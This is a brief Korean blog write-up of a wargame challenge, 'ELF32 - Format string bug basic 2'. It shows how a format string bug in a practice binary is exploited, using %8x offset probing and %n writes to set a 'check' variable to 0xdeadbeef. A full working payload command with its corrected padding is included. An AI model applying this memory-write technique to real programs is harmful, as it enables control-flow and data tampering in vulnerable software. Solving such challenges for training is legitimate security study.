본문 바로가기
카테고리 없음

ELF32 - Format string bug basic 2

by sonysame 2016. 11. 7.



%8x를 9번 썼을때 41414141이 나왔다.

여기서 check의 주소를 알려주었으므로 이를 이용한다.

0xbffffbd8에 0xbeef를 넣고,

0xbffffbda에 0xdead를 넣는다.

0xdead=57005

0xbeef=48879

57005-48879=8126이다.

따라서 페이로드는 다음과 같다.

./ch14 `python -c 'print "A"*4+"\xd8\xfb\xff\xbf"+"A"*4+"\xda\xfb\xff\xbf"+"%8x"*8+"%48839c"+"%n"+"%8126c"+"%n"'`

이때 check의 주소가 0xbffffbb8로 바뀌는 것을 확인할 수 있다.


페이로드를 수정해준다.

하지만, beef가 bf17로 나온다.

0xbf17-0xbeef=40

48839-40=48799이고,


%48799c를 넣으면 뚫린다!